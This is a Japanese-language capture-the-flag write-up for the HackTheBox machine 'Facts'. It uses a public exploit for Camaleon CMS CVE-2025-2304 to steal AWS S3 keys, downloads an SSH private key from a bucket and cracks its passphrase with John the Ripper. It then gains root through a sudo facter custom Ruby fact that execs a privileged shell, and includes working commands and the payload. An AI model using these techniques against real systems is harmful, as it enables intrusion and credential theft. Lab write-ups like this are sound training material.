
HackTheBox — ファクト (Easy/Linux) | CVE-2025-2304 + AWS S3 + SSHキー + Facter権限昇格
FactsはEasyなLinuxマシンで、Camaleon CMSの既知の脆弱性(CVE-2025-2304)を悪用してローカルのAWS S3認証情報を抽出する必要があります。内部のS3バケットを列挙するとSSH秘密鍵が見つかり、John the Ripperを使ってそれを解析して初期アクセスを得ます。権限昇格は/usr/bin/facterのsudo設定ミスを悪用して、カスタムRubyコードを実行し、rootシェルを取得することで達成されます。
攻撃チェーン: Nmap → Camaleon CMS (CVE-2025-2304) → S3バケット列挙 → SSH鍵クラック → sudo facter → Root
ターゲットマシン上のアクティブなサービスを特定するために、Nmapスキャンから始めましょう。
nmap -sV -sC -oN nmap_facts 10.129.244.96
結果:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmapは22番(SSH)と80番(HTTP)の2つのオープンポートを明らかにしました。WebサーバーはNginxベースです。サイトに正しくアクセスする前に、hostsファイルに facts.htb を追加する必要があります。
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts
ポート80のサイトにアクセスすると、標準的なWebページが表示されます。隠されたパスを見つけるために、ディレクトリブルートフォース攻撃(例:ffufやgobuster)を実行します。
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ
列挙の結果、管理パネルに関連するいくつかの興味深いディレクトリ(/admin、/admin.phpなど)が見つかり、これらはすべて302ステータスで http://facts.htb/admin/login にリダイレクトされます。

ログインページにアクセスして認証する(またはパネルのフッターを見る)と、サイトの技術スタックが Camaleon CMS であることがわかります。
右下の隅に注目すべき詳細があります:CMSのバージョンは 2.9.0 です。

サーバーが Camaleon CMS 2.9.0 を実行していることがわかり、オンラインで簡単に検索すると、CVE-2025-2304 として知られる重大な脆弱性が発見されます。これにより、認証済みユーザーから管理者への権限昇格が可能になります。
GitHub上で公開されているエクスプロイト(Alien0ne 作成)を見つけ、攻撃マシンにダウンロードします。

手元にある認証情報(例:mattia:mattia)を渡してエクスプロイトを実行し、管理者に昇格して機密情報を抽出し、その後元のロールに戻して目立たないようにします。
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r
エクスプロイトの出力は金鉱です。ローカルのAWS S3認証情報とサーバーが使用する内部エンドポイントを抽出することに成功しました。

これらのキーを使って、ローカルのAWS CLIを設定し、マシンが公開しているS3サービスと対話できます。
aws configure
# 見つけたAccess KeyとSecret Keyを入力
# Default region: us
# Default output format: json
次に、カスタムエンドポイントURLを指定して利用可能なバケットを一覧表示します。
aws --endpoint-url http://facts.htb:54321 s3 ls
internal と randomfacts の2つのバケットが見つかります。internal バケットを再帰的に探索すると、.ssh フォルダーにキーが含まれていることを発見します。
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive
id_ed25519 ファイル(SSH秘密鍵)をマシンにダウンロードしましょう。
秘密鍵はありますが、パスフレーズで保護されています。これを解析するためにJohn the Ripperスイートを使用します。まず、ssh2john を使って鍵をJohnが読める形式に変換します。
ssh2john id_ed25519 > hash.txt
次に、辞書攻撃を実行します(カスタムワードリスト my_guess.txt または古典的な rockyou.txt を使用)。
john --wordlist=my_guess.txt hash.txt
パスワードが正常に解析されました:dragonballz。これでサーバーにアクセスする準備が整いました。

必要なものがすべて揃ったので、先ほど見つけたもう一つのオープンポート、SSHポート(22)を活用します。
ssh -i id_ed25519 [email protected]
先ほど見つけたパスワード dragonballz を使用します。ログイン成功!
次に、root アクセスを得るためにどのパスを悪用できるか調べるため、sudo -l を実行します。
パス:
/usr/bin/facter
このパスを悪用するために、小さなスクリプトを使用します。
echo 'Facter.add(:pwn) do
setcode do
exec (“/bin/bash -p”)
end
end' > /tmp/pwn.rb
そして実行します。
sudo /usr/bin/facter --custom-dir=/tmp pwn

正式にrootになりました!!!
あとは2つのフラグを見つけるだけです :)

NMAP — 2ポート発見 (22, 80) ↓ Web列挙 — 管理者セクション発見 ↓ Camaleon CMS -> CVE-2025-2304 ↓ エクスプロイト + AWS設定 ↓ John the ripperでハッシュ解析 ↓ SSHログイン ↓ Sudo -l ↓ スクリプト + 実行 ↓ ROOT ✅